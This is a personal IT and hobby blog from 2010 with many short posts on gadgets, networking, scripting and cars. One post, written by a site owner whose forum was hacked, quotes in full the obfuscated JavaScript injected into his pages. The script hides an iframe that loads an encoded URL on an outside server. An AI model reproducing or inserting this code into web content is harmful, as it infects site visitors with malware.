In your drop box folder will now be the link, which will appear exactly like another folder.

Lost TomTom favorites

2010-08-21T18:51:00.000+01:00

After upgrading my software and then installing a bunch of new maps I noticed my favorites had got lost. Reluctant to restore from a backup using HOME I found this :

Connect your TT to the PC, shut down TomTom "Home" if that opens. You will notice the TomTom is recognised as a new hard drive.
Now, using Windows Explorer, open the backup folder you made on the PC. Look in the named map folder for the "MapSettings.cfg" file.
If you find it, copy that file and paste it into the same place on the TomTom itself.

Sorted ..

My websites been hacked !

2010-08-21T09:53:00.016+01:00

I run a forum www.bvra.org.uk and a personal site www.paulregan.co.uk.

Last night someone posted on the forum that Google had flagged the site as dangerous and a follow post that Kaspersky was reporting a trojan - Trojan.JS.Iframe.nk

What !, my forum, no way .. I tried a few things and my AV (Mcafee) didnt complain. Odd, check the date time on the files and low and behold the index.* (htm, html, php) files had been changed 2 days ago .. not by me.

<body><script>
var I={j:{I:{I:'~',l:'.',j:'^'},l:{I:'%',l:218915,j:1154%256},j:{I:1^0,l:55,j:'ijl'}},I:{I:{I:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=I.I.I.I(I.l.I.I('.75.67.67.63.3a.2f.2f.31.31.33.2e.31.31.2e.31.39.34.2e.31.37.37.2f.75.67.71.62.70.66.2f.74.6e.67.72.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.67.72.7a.63.79.6e.67.72.66.61.72.6a.66'));var j=(l)?I.I.I.l():false;return j;}},l:{I:function(){var l=I.I.I.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=I.I.j.j(I.I.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=I.I.j.I(I.I.l.I());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{I:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return I.I.j.I(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{I:{I:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'21',j:'16'},l:{I:'50',l:'85',j:'81'},j:{I:'55',l:'85',j:'57'}}}
I.I.l.j();</script>

Had been added to both the forum and my personal site index files. A strange file templatesnews.php had also been uploaded at the same time.

Anyone know what that code does ? ..

Cleaned the files up and locked FTP, even though I had a stupidly complex password.

I've emailed the hosting company, as I suspected something wider. They got back to me and told me mine where the only sites - look for Gumblar.

Now last weekend my home PC started to act up, Firefox and Chrome would both crash, actually come to think of it the two sites I always rely on for testing are mine. That explains it ! .. A quick google and it appears Grumblar can get saved password from CoreFTP which I use, it then inserts code to spread itself.

Bugger, and I work in IT ! .. My machine runs upto date AV, Spyware, Firewall & Windows updates. How the hell did this get in ..

Props to virtualnames.co.uk who quickly restored my site from backups and I've since disabled FTP and changed the passwords again.

Now to make sure this b'stard thing has'nt infected my since rebuilt OS.

My first play with HDR

2010-08-08T15:56:00.000+01:00

Definitely need a tri-pod and its very easy to go silly .. example picture 2

Upgrading Thompson TG585-V7 DSL Router

2010-08-04T18:54:00.002+01:00

The box will totally loose its config when you do this .. IP, admin password, ALL

Backup the config and put a copy locally.
Apply firmware using the upgrade utility.
The FW upgrade will revert the router to its default subnet - 192.168.1.0/24
Browse to http://192.168.1.254.

UID : Administrator
PW : Serial Number of router

Restore config from #1
The upgrade seems to loose some of the MAC / device names, if you've defined them. If you can be bothered re-define the devices.
Change the WLAN back to your key, the firmware applies the default keys.

If you'd previously modified the default DNS servers you'll need to correct this as the fw adds the BE server and makes it default. Below is how to clean up and add the OpenDNS servers ..

nb//matrix.com is a local DNS server on my network.

Telnet to your modem by running ‘telnet 192.168.0.1′ replace the 192.168.0.1 with your modem’s ipaddress a login with the Administrator account.

Type :

dns server route
list - to list your current DNS settings. Write these down somewhere so you’ll be able to change them back if you want to.
flush - to delete all dns servers in the list.
add dns=208.67.222.222 intf=Dynamic_IP - adds first OpenDNS server.
add dns=208.67.220.220 metric=1 intf=Dynamic_IP - second Opendns server.
list - should show the applied changes

Then type saveall to save these new settings. And finally exit to exit the telnet session. You should now able to browse the web using OpenDNS.

Taking HDR shots with Canon 30D

2010-08-01T18:04:00.000+01:00

Yet to play with this but it looks interesting. Found a blog with instructions for my camera which I should keep.

- Select Av mode from dial mode

- press menu and go to AEB section, press SET and rotate the rear dial until we have -2/0/+2 marked with green, press SET again and after that hit MENU once again to disappear.

- press DRIVE-ISO and after that rotate top dial until we setup the camera on timer mode. Also setup ISO as low as you can to not have noise on your photos.

Place the body on a tripod hit the shutter release and the camera will take up 3 photos for you to make a beautiful hdr photo. You may test with multiple aperture size.

Save flash (flv) files locally

2010-07-31T09:53:00.002+01:00

This requires Safari & WGET

1. From the Safari menu select Window | activity

This will display a list of current sites that are open. In the window you want to capture the media file from start it playing. In the list you'll see a .flv file. It will probably be the biggest file size.

2. Copy the URL

3. Run a command prompt and find wget.exe

wget <url>/<file-name>
wget http://www.server.com/files/flash.flv

UCS TACACS bug caused hardware reset

2010-07-28T15:10:00.002+01:00

One of our Cisco UCS Fabric interconnect 6100 switches reset itself for no apparent reason. A call to Cisco TAC, which progressed to dev found a problem caused by too many TACACS authentications causing a memory fault.

We use Zenoss for NMS which authenticates pretty frequently using TACACS .. and so pushed it over the limit.

The only fix is to switch back to local authentication until a patch is released.

Ubuntu 10.04 netbook install on Sony Vaio

2010-07-24T11:56:00.001+01:00

I have a really old Vaio, PCG-TR5MP, I think circa 2004. I use it really as a travelling backup for my photos and earlier in the year upgraded it to a massive 1Gb RAM and installed Windows 7. Which worked surprising well and actually better than XP !

Having recently acquired a Mac book which I'll now carry around I thought I'd try one of the netbook versions of Linux on the Sony. Just for giggles.

I've always preferred the Ubuntu distro so went with 10.04 ..

First problem was the Vaio BIOS doesn't support USB boot .. So burnt a CD/DVD.

Boot, install starts, pretty graphics, black screen .... nothing. Google. Apparently its an issue with the intel chipset - https://wiki.ubuntu.com/X/Bugs/Lucidi8xxFreezes

To resolve :

1) At the purple screen with a keyboard and stickfigure, press Enter to get to the menu.
2) Hit Enter to select your language, and then press F6 and then Esc.
3) Add "i915.modeset=1" after "quiet splash".
4) Press Enter to boot the LiveCD.

This then installed, but on the first reboot again stuck on the black screen .. so to fix and boot follow :

1) Hold down Shift while booting to enter the GRUB menu.
2) Press 'e' to edit.
3) Add "i915.modeset=1" after "quiet splash".
4) Ctrl+x to boot.

Ubuntu loaded, logged in .... WTF ... the GUI is slow as anything, unusable.

I then ran :

echo options i915 modeset=1 | sudo tee /etc/modprobe.d/i915-kms.conf
sudo update-initramfs -u

Which I think make the i915 changes permanent ..

and

sudo add-apt-repository ppa:glasen/intel-driver 
sudo apt-get update && sudo apt-get upgrade

Rebooted and the GUI was much better ...

For the hell of it I also did :

sudo add-apt-repository ppa:glasen/855gm-fix
sudo apt-get update && sudo apt-get install dkms 855gm-fix-exp-dkms

I think I did most of this out of order but ultimately I have a functioning install now.

This is why Linux will not win .. sorry Linux people.

Just going out to vacuum the car ...... 11 hours later

2010-07-18T16:44:00.001+01:00

What started as a quick inside clean quickly turned into a mammoth car cleaning lasting 11 hours over two days.

I'd bought all the products months ago and never got around to using them. But today it was out with the wax, clay and all the other expensive things that had never been used. In for a penny ..

Day 1

Starting with that quick vacuum. All the inside wiped down, vacuumed and treated with leather and vinyl products.

Washed the outside with Dodo Juice born to be mild shampoo. Hosed down and clayed with dodo mild clay. This was actually way easier than I thought it would be and surprisingly little crap came off the car.

Dried the car and cracked open the dodo juice lime prime lite. Followed the instructions and did a panel at a time and buffed it off.

Wax coat number one. Another dodo juice product. Purple haze. Went on and came off just remarkably easily.

Its getting late and the wax needs to cure over night so I turned my attention to the wheels. Really they are the catalyst for this. When we were in Wales a few weeks ago allot of the roads where being re-surfaced and unbeknown to me tar and stones had welded themselves onto the inside of the wheels like limpets.

So a quick soapy wash and then to google for 'clean tar from wheels' search.

Day 2

Wax coat number 2 ..

Wheels. Other than expensive products, which I'm certainly not against, the best answer for the tar seems to be good 'ol WD40. Soak a the corner of a rag and start with the elbow grease. IT WORKS ! Just takes hours.

Once the tar was off then another wash, rinse and dry. Applied some Rim Wax (snigger) and some vinyl dressing to the plastic and rubber seals, and under the bonnet, and the outside of the tires.

And finished ... An epic session. But I'm actually really pleased with the results and you can actually feel the coating of wax, which I was surprised by.

The car gods shined down on me

2010-07-17T10:46:00.003+01:00

Bertie (the boxster) MOT & Porsche 111 point check for the extended warranty. There was I expecting an enormous invoice but all we got was a PASS & another PASS. Even the tires will be OK for the 3000 mile French blast in September.

The OPC (Official Porsche Centre) in Mid-Sussex, Burgess Hill have been fantastic throughout the whole process, purchase and after care. And they didn't slap us with a massive bill, al thought I'm braced for that ..

And in addition we got to spend the day in a Porsche Panamera 4 courtesy car. The new 4 seater luxury, family market saloon(?). Whatever its aimed at it was a fantastic car. I was in gadget heaven and pulled some good looks from passers by.

Oh, I just looked up price ! .. starting at £66,900 - no wonder we got funny looks with Vanilla Ice cranked up. Probably thought it was stolen.

Couple of niggles which would bug the crap out of me if I owned one, not that I can afford it ..

The warp factor 1 & 2 buttons (Sports & Sports Plus) are on the centre console but on the other side of the shift stick. They'd be better on the drivers side. I'm guessing this a RHD conversion cost saving thing.
Whatever I tried I couldn't get road numbers - other than seriously main ones, to appear on the sat nav.
The fuel gauge takes about 5 mins to really display what's in the tank after filling up. A pain when you have to get the car back with 'just under full'.

A nice explanation on Cisco ACL's

2010-07-15T17:28:00.004+01:00

http://www.2000trainers.com/cisco-ccna-09/ccna-apply-access-list-interface/

Microsoft DNS update script - dnscmd

2010-07-14T16:42:00.004+01:00

We recently made the decision to use AD DNS internally rather than the mish mash of AD & BIND. One of the downsides was the inability for bulk load changes. The DNSCMD command line app is limited.

This is my attempt to fix that with a script. It deals with creating A & CNAME forward records and cleans up and creates PTR from an input file bulk_load.txt

DNSCMD doesn't deal with existing A records. The majority of the script deals with finding those and deleting the FWD and REV records.

Feel free to copy, currently its still in test so use with care.

Amendments/suggestions, all welcome .. there are a few hacks in it which I'm sure can be cleaned up.

And yes it could probably be done on 5 lines in something else. I just don't know something else.

@ECHO OFF
::       // Paul Regan - 14/7/2010/7/14/2010
::       // This script will take input from dns_bulk.txt, which must be forward zone A or CNAME records.
::       // First check if the entries already exist. If they do it will prompt to continue.
::       // It will then delete the forward and reverse entries and create the new from the file.
::       // Through-out this script there are a number of hacks due to DNSCMD's inability to produce decent return codes. I rely on
::       // piping STNDOUT through FIND & FC to check FOR response and generate the correct errorlevel
::       // Check the help (/?) for bulk_dns.txt format

IF "%1" == "" GOTO ERROR
IF "%1" == "/?" GOTO HELP
IF "%1" == "?" GOTO HELP

::       // A quick check that bulk_dns.txt EXISTs and confirm its the file to be used
IF EXIST bulk_dns.txt (
   GOTO BULK_EXISTS
) ELSE (
   CLS
   ECHO.
   ECHO.      ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR
   ECHO.
   ECHO       bulk_dns.txt is missing !
   GOTO END
)

:BULK_EXISTS
CLS
ECHO.
ECHO     This is the bulk_txt I found ...
ECHO.
TYPE bulk_dns.txt
ECHO.
ECHO.
ECHO.
CHOICE /C YN /M "continue and use this file ? Press Y for Yes, N for No
IF %ERRORLEVEL%==1 GOTO BEGIN
IF %ERRORLEVEL%==2 GOTO END

:BEGIN
::       // Sets the DNS Server to be used from the STNDIN
SET DNS-SERVER=%1

::       // Clean up any old working files
IF EXIST revip.txt DEL /f /q revip.txt >NUL
IF EXIST recorddeleted.txt DEL /f /q recorddeleted.txt >NUL
IF EXIST recordsexist.txt DEL /f /q recordsexist.txt >NUL
IF EXIST rev-recordsexist.txt DEL /f /q rev-recordsexist.txt >NUL
IF EXIST recordcreated.txt DEL /f /q recordcreated.txt >NUL
IF EXIST summary.txt DEL /f /q summary.txt >NUL
IF EXIST doesntexist.txt DEL /f /q doesntexist.txt >NUL

::       // Reset the variable and then extract the zone from bulk_dns.txt & SET. We do this as the zone will be common to all commands
SET ZONEFILE=
FOR /f "tokens=2 delims=," %%1 IN (bulk_dns.txt) DO SET ZONEFILE=%%1

::       // loop to determin if any records already exist as we need to first delete them. -->
::       // In theory DNSCMD should return :
::       // 0 = host found
::       // 9714 = host not found
::       // in practice it didnt, possibly to do with the FOR loop. A hack is to pipe the STDNOUT through find. A DNS hit response includes @
::       // SetLocal / EndLocal deals with variables being used in a FOR loop, allows the FOR loop to return the correct ERRORLEVELs per loop
CLS
ECHO.
ECHO Checking for existing records ............
ECHO.
SETLOCAL EnableDelayedExpansion
FOR /f "tokens=1-4 delims=," %%1 IN (bulk_dns.txt) DO (
       DNSCMD %DNS-SERVER% /EnumRecords %%2 %%1 | FIND "@"
   IF !ERRORLEVEL! == 0 (
       ECHO %%1.%%2,%%3,%%4 >> recordsexist.txt
   ) ELSE (
       ECHO %%1.%%2 Doesn't Exist >>doesntexist.txt
   )
)
ENDLOCAL
::       // Check to see if recordsexist has been created, and action, o/wise jump to create
IF NOT EXIST recordsexist.txt GOTO :CREATE
::       // Display existing host entries and give an opt out prompt using the file generated from the /EnumRecords loop
CLS
ECHO.
ECHO ****** The following host entries already EXIST *******
ECHO.
TYPE recordsexist.txt
ECHO.
ECHO.
ECHO.
CHOICE /C YN /M "continue ? this will delete and then re-create from bulk_dns.txt Press Y for Yes, N for No
IF %ERRORLEVEL%==1 GOTO DELETE
IF %ERRORLEVEL%==2 GOTO BOMBOUT
GOTO END

:BOMBOUT
GOTO END

:DELETE
::       // Start loops to delete existing A, CNAME & PTR DNS entries
::       // DNSCMD returns a 0 FOR /RecordDelete and exactly the same output regardless IF a delete fails or even IF you attempt
::       // to delete a host that doesnt EXIST.
::       // So its pointless doing any errorlevel checks. We'll assume that we got this far and they EXIST and we'll be able to delete them
CLS
ECHO.
ECHO Deleting forward zone records ............
ECHO.
FOR /f "tokens=1-9 delims=.," %%1 IN (recordsexist.txt) DO DNSCMD %DNS-SERVER% /RecordDelete %ZONEFILE% %%1 %%9 /f
::       // We now need to clean up the reverse records & will create a rev dns working file from the records in recordsEXIST.txt
::       // Parse the txt file and extract the 'A' records to a new txt file.
CLS
ECHO.
ECHO Fordward records deleted, now the rev zone........if no rev zone exists you will see errors during this process.
ECHO.
TYPE recordsEXIST.txt | find "A" >> rev-recordsexist.txt
::       // Parse that txt file and create a another file with the reverse ip host names
FOR /f "tokens=5-8 delims=,." %%a IN (rev-recordsexist.txt) DO ECHO %%d.%%c.%%b.%%a.in-addr.arpa >>revip.txt
::       // Phew, now we can delete the in-addr.net records using this text file
::       // DNSCMD returns a 0 FOR /RecordDelete regardless so its pointless doing any errorlevel checks
FOR /f "tokens=1-6 delims=." %%a IN (revip.txt) DO DNSCMD %DNS-SERVER% /RecordDelete %%b.%%c.%%d.%%e.%%f %%a PTR /f

:CREATE
CLS
ECHO.
ECHO Create foward and rev records.......if rev zones dont exist you may see errors.
ECHO.
::       // And now, finally, create the host entries
FOR /f "tokens=1-4 delims=," %%1 IN (bulk_dns.txt) do DNSCMD %DNS-SERVER% /RecordAdd %ZONEFILE% %%1 /CreatePTR %%4 %%3
::       // Run a quick /EnumRecords check to confirm records where created and then produce a comparison file of that output to bulk_dns.txt
::       // The | find "@" just removes a bunch of white space from STDOUT
FOR /f "tokens=1-4 delims=," %%1 IN (bulk_dns.txt) do DNSCMD %DNS-SERVER% /EnumRecords %%2 %%1 | FIND "@" >> RECORDCREATED.txt
FC recordcreated.txt bulk_dns.txt | FIND /V "Command" | FIND /V "records" >> summary.txt
CLS
TYPE summary.txt | MORE
ECHO.
ECHO You can review the comparison afterwards with summary.txt
ECHO.
PAUSE
GOTO CLEANUP

:HELP
CLS
ECHO.
ECHO.
ECHO      This script takes input from bulk_dns.txt, checks FOR EXISTing records and then deletes and creates A or CNAME records.
ECHO      It will automatically deal with PTR records, there is no need to put them in bulk_dns.
ECHO.
ECHO      ***** "ONLY USE THIS ON ONE ZONE NA OR EU [eu|na].rtdom.net at a time, NOT A MIX .. !" *****
ECHO.
ECHO      bulk_dns.txt FORmat
ECHO      ",,,"
ECHO.
ECHO      eg A Record
ECHO      server,eu.rtdom.net,A,10.2.66.66
ECHO.
ECHO      eg CNAME Record
ECHO      server,eu.rtdom.net,CNAME,lo-inf-999.eu.rtdom.net
ECHO.
ECHO      The FORmat of the script command is dnscmd ""
ECHO.
ECHO      I have generated an example_bulk_dns.txt FOR reference.
IF EXIST example_bulk_dns.txt DEL example_bulk_dns.txt /f > NUL
ECHO anArecord,eu.rtdom.net,10.2.65.13,A >> example_bulk_dns.txt
ECHO aCNAMErecord,eu.rtdom.net,anArecord.eu.rtdom.net,cname >> example_bulk_dns.txt
GOTO END

:ERROR
CLS
ECHO      *********** FAIL **************
ECHO.
ECHO script /? For help
GOTO END

:CLEANUP
IF EXIST revip.txt DEL /f /q revip.txt >NUL
IF EXIST recorddeleted.txt DEL /f /q recorddeleted.txt >NUL
::       // Removed this so the user can review the hosts that existed and where over written
REM IF EXIST recordsexist.txt DEL /f /q recordsexist.txt >NUL
REM IF EXIST doesntexist.txt DEL /f /q doesntexist.txt >NUL
IF EXIST rev-recordsexist.txt DEL /f /q rev-recordsexist.txt >NUL
IF EXIST recordcreated.txt DEL /f /q recordcreated.txt >NUL

:END

Adding Google Analytics code to Blogger site

2010-07-13T12:07:00.001+01:00

Add the url to analytics and cut and paste the script.

Login to your blog and from the main page click 'design' | 'edit HTML'. Search the text for /body and insert your code just above it.

Before the final /body tag


</table>

var _gaq = _gaq || [];

_gaq.push(['_setAccount', 'UA-17416825-2']);

_gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';

var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);

})();

</script>

</body>

</html>

Adding Google Analytics to PHPBB

2010-07-13T09:57:00.001+01:00

Create the profile as normal and past the code snippet into your :


/styles/<your_style>/template/overall_footer.html

Before the final /body tag


</table>

var _gaq = _gaq || [];

_gaq.push(['_setAccount', 'UA-17416825-2']);

_gaq.push(['_trackPageview']);

var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);

})();

</script>

</body>

</html>

If your using multiple styles then you'll need to update each .html file
Once done make sure your clear the forums cache in the Admin panel.

Chili scovile rating

2010-07-12T15:35:00.002+01:00

I've been growing some Scotch bonnets ....everything above Naga Jolokia are chemical extracts of capsaicin. So not really chili's

NYC in Summer time

2010-07-12T15:32:00.000+01:00

My watch stops @ 40c .. at one point it stopped ..

OS 4 Upgrade on 3GS iPhone

2010-06-28T16:54:00.000+01:00

Jumped in with both feet .. works fine, even Lotus notes traveller.

One problem so far which was my photos were showing as really crappy resolution. Plenty of google hits for this which are basically disable photo syncronisation in iTunes, apply, re-enable.

The first time this left me with black squares were pictures should have have been, repeated the process and that's fixed it ..

MacBook Pro. Boot to black screen, no chime ..

2010-06-17T18:32:00.002+01:00

Check the RAM ... remove and re-seat ..

MacBook Pro - Open heart surgery

2010-06-14T16:48:00.002+01:00

In an attempt to re-build a Mac which wouldn't boot I came across:

http://www.ifixit.com/Guide/Device/MacBook_Pro_17%22_Models_A1151_A1212_and_A1229

Invaluable site .. The hard disk walk through was a breeze to follow ..

Intel Mac Startup Keys

2010-06-14T16:36:00.001+01:00

Keystroke	Description
Press C during startup	Start up from a bootable CD or DVD, such as the Mac OS X Install disc that came with the computer.
Press D during startup	Start up in Apple Hardware Test (AHT), if the Install DVD 1 is in the computer.
Press Option-Command-P-R until you hear two beeps.	Reset NVRAM
Press Option during startup	Starts into Startup Manager, where you can select a Mac OS X volume to start from. Note: Press N to make the the first bootable Network volume appear as well.
Press Eject, F12, or hold the mouse (/trackpad) button	Ejects any removable media, such as an optical disc.
Press N during startup	Attempt to start up from a compatible network server (NetBoot).
Press T during startup	Start up in FireWire Target Disk mode.
Press Shift during startup	Start up in Safe Boot mode and temporarily disable login items.
Press Command-V during startup	Start up in Verbose mode.
Press Command-S during startup	Start up in Single-User mode.
Press Option-N during startup	Start from a NetBoot server using the default boot image.

Telescopic Window Brush

2010-06-13T13:26:00.000+01:00

The ones to reach those high windows ...

Shite .. step away, make do with whatever cack-handed way you currently do it ..

Blackberry Email & MDS Simulator on Windows 7

2010-06-09T15:57:00.000+01:00

FAILS !

After spending sometime working it out the Tomcat app needs write access to the %Program Files% directory. Which windows 7 blocks .. to fix :

Via the folder properties go to your security tab.
In the bottom half you have the permissions listed for users, click the Advanced button
Now go to the Owner tab, click Edit button (you will be asked for permision if UAC is at default
Change owner to your account and be sure to check the ‘Replace owner on subcontainers and objects’ and click Apply button. this results in all files including system files being switched to your account as owner!
Now in the ‘Advanced Security Settings for (your folder)’ you need to edit the permissions: select your account (the one you just used to take ownership) and click Edit button.
You now see the Permissions tab and you need to again select your user account. (ensure that the permission is Full Control) check the lower ‘Replace all existing inheritable permissions…’ box and click Apply.

Done!

I also found running the app from Start Menu failed and needed to execute 'run.bat' from a command line.

Front room project

2010-05-30T11:34:00.004+01:00

This was done in 2008, but thought I'd post for prosperity ..

The cyclic decorating had come round to the front room. Apparently if you do one room a year it never catches up. Thank you to Julian for putting that on the agenda !

The 10 year old rear projection TV had to go and my 13 year old Pioneer AMP had just died .. So I spent some time and settled on a 50" Pioneer plasma & Onkyo receiver. I say settled, that was probably 3 months of deciding ..

So, the rules are TV on wall, no cables - simple. Yeah but if we put the TV there then the radiator is in the way .. oh .. trip to The Radiator Gallery and returned later with a big hole in my wallet.

This was a massive job, it probably took two solid weeks of work running the cables and making good. I'd certainly do it again but next time would get a plasterer in to finish the walls ..

iPhone Cisco VPN 3030

2010-05-24T11:28:00.001+01:00

The iPhone has a default MAC OS VPN client which I easily got connected to the corp VPN appliances we have. Cisco 3030.

Trouble was I could'nt seem to get the proxy settings to kick in on Safari. When connected on the VPN I could browse external sites but nothing internally. I Installed a few more network apps, ping, ssh etc and narrowed it down to DNS not working. And not working only for some apps ! ie Safari !

A Quick Google and I stumbled across a post advising to set the local domains in the split DNS names part of the IPSec group config, under the client config tab. Did this and everything works a treat ..

Official Apple support for the 3xxx series is vague, but it works fine ..

Update : 24/05/2010

Tested against ASA 5540 with IPSec VPN and it works fine. The Same issue with DNS exists. Add the domains to the ASA Group Policy assigned to the IPSec Connection Profile ...

Apparently the next release of IPhone OS supports SSL VPN .. If it does I'll try it ..

Garden Visitors

2010-05-22T14:27:00.002+01:00

iPhone duplicate contacts

2010-05-18T10:27:00.002+01:00

Note entirely clear on this, nor can I reproduce it .. But I'm writing it down so next time I can try the same method.

With my Blackberry I could sync my Gmail & Domino contacts perfectly using the native BB OS and Google sync.

On the the iPhone Google support contact syncing with Active Sync. And seeing as the OS only supports a single Exchange ActiveSync, which on mine is configured for our corp email - Lotus Notes Traveller(LNT), then I needed plan B.

I opted to disable LNT contact sync and make use of the iTunes Sync to Gmail. This was all working fine until one morning I noticed my phone contacts had 5 or 6 duplicates. They where identical in content although on some the fields where in different order. Some of the duplicates contained lots of information and some just an email.

Regardless of what I did I couldn't remove them. Theres plenty of hits on google none of which resolved.

In the end I picked on one of the contacts and deleted it from the phone and gmail. Sync'd the device, contact gone, good. Added them back as a Gmail contact, synced the device - warning, you are changing >25% of contacts. Odd, I have a backup so clicked yes.

Bingo, all duplicates gone !

I've since tried to reproduce the problem, edited local contacts, Gmail contacts etc .. But each time the sync works fine, and as expected.

Will keep an eye on it ... to be continued ...................

The irony

2010-05-15T14:45:00.002+01:00

This is exactly as I found it.

The Newham magazine, source of continued political debate, The Mayor - Highest paid in the country, an article on recycling, all left in the gutter ...

Tandem Sky Dive - Cornwall June 2008

2010-05-02T10:23:00.001+01:00

A surprise birthday present from Max .. and it bloody well was a surprise !

Kawarau Bridge Bungy, New Zealand 1998

2010-05-02T10:23:00.000+01:00

TVersity & Windows 7

2010-02-28T18:11:00.002Z

My ongoing quest to enable all my media on my iPhone has led me back into the world of TVersity. I've previously used this way back when to push MP3 content to my PS3. I then got my hands on a NAS which I installed MediaTomb on making TVersity redundant.

MediaTomb & the NAS works fine for just MP3 streaming but for Video its CPU is just too slow. So I've just been using the PS3 web browser and navigate to the NAS running Apache to show a file list and play from there. Which work's great.

The iPhone on the other hand can't do the same. I'd previously installed Plug Player which found MediaTomb and the music with no problems ..

So Enter TVersity again. Installed it on my office PC, Windows 7. Installed fine and I could browse to http://server:41951 but couldn't see the UPnP server either from PC's, PS3 or from PlugPlayer iPhone app.

The Tversity Trouble Shooting FAQ was the answer :

If the computer running the media server has more than one network interface, you need to make sure that the the TCP binding order on your machine is such that the network interface on which it is supposed to communicate with the media player appears first.

I have Cisco VPN client installed which had inserted into top position. Pushed my onboard NIC to the top and bingo. All my devices see Tversity.

iTunes - I tried

2010-02-21T15:47:00.003Z

Its music management is horrible. Always has been, and even though I tried its just not as flexible as Media Monkey. Something which I've been using at home for a couple of years.

Followed this guide

http://www.mediamonkey.com/wiki/index.php/Guide_to_ipod_sync

and moved Music & Podcast syncing to MM .. Podcasts are bit of a hack. I cant see a way to get the final url from iTunes Store so have been subscribing to the Podcast where you can then right click and copy url, which I then add to MM. Need to google that ..

Unfortunatly I still need iTunes for backup, contacts, video, ringtones ... I'm sure the time will come.

I feel cleansed ..

EDIT : Also just found that MM cant handle Video podcasts. So they also need to go via iTunes. I feel half and half now. Not such a happy place but better than only iTunes.

IBM Lotus Sametime - Toy throwing

2010-02-21T10:29:00.004Z

The company I work for are a Domino shop and I am a big fan of what Domino server and clients can do. But when it comes to Sametime. I loose the will to live.

Its obviously written by a group of developers who want, and I think are completely outside the control of what's left of the Lotus team. Other than having Lotus in the product description and that it allegedly 'runs' on a Domino server that's where the comparison stops.

So to my reason for this seemingly un-provoked rant.

We're in the final stages of upgrading our Domino environment from 8 to 8.5 and there are a few stragglers, our Sametime 8.0.2 standard server being one.

So I did the due diligence, found out 8.0.2 isn't supported on 8.5.1 but theres positive reports of it working. Also found that ST 8.5 had been released, oh, that also doesn't support 8.5.1 - but wasn't it released way after ? Yes it was, remember my rant at the top ..

So we took the chance and went with the 8.5.1 upgrade with 8.0.2. Domino install went fine, ST server started, IM came up, web site, meetings etc all working. Great. Started to test and found that we'd lost the ability to setup an online meeting from the Domino calendar. Now we had this when we first upgraded from 7.5 to 8.0.2 and worked with IBM. It was found to be http://www-01.ibm.com/support/docview.wss?rs=899&uid=swg21407511 which we applied to our mail template and resolved the problem. Now its back.

The symptoms where exactly the same. Make the booking and the process sends the message to the mailin db where the message arrives at stcs.nsf and gets 'processed'. At this point the ST server adds the booking to the meeting centre and I think resource DB and then emails the chair back. Its here that the process fails - again.

Got hold of the devs and they confirmed the code was still in place, so reverted my mail design to 8 and then further back to 7 and still had the problem. We also tried upgrading the resources.db design to 8.5.1.

So decisions decisions. This isn't a massively used feature but if Sametime is to get any traction in the company other than an overly complicated IM service then it needs to work, also if it wasn't fixed it would have bugged the crap out of me.

The first thing was to roll back to Domino 8.0.2 and confirm the booking function did still work before we upgraded, it did - thank you VMWare snapshots !

Rolled forward again to 8.5.1 and started going through the debug options again ..

http://www-10.lotus.com/ldd/stwiki.nsf/dx/sametime-%E2%80%93-notes-cs-integration
http://www-01.ibm.com/support/docview.wss?uid=swg27003646

All to no avail.

OK, no real choice so lets try 8.5. We have snapshots, no big deal to roll back and forward.

IBM in their wisdom seem to have taken a simple if not detached application and turned it into a monster - I guess they are trying to keep up with Webex/Meeting Place. There are now classic, meeting, proxy, WebSphere, DB2 - where does it stop. None of which we need or want. Its a small 200 user base who just need IM and some online meeting functions.

As always IBM's software passport site is useless. I really hate this site with a passion.

Heres an example : Show me all German language Domino clients. Click. I'm presented with all English clients, no German. Tried various ways and in the end needed to wait 4 weeks for IBM to send me the part code, which then miraculously produced a German language install. And which still doesn't show if you select language filters.

Eventually I worked out that Standard has been renamed and is now Classic. Then found a number of good blogs with file names .. and similar rants to mine.

http://www.d2k.nl/domino/blog4.php/2009/12/22/ibm-lotus-sametime-standard-v8-5-filenames

Downloaded and installed Classic 8.5, on the un-supported 8.5.1 platform .. :)

Fail

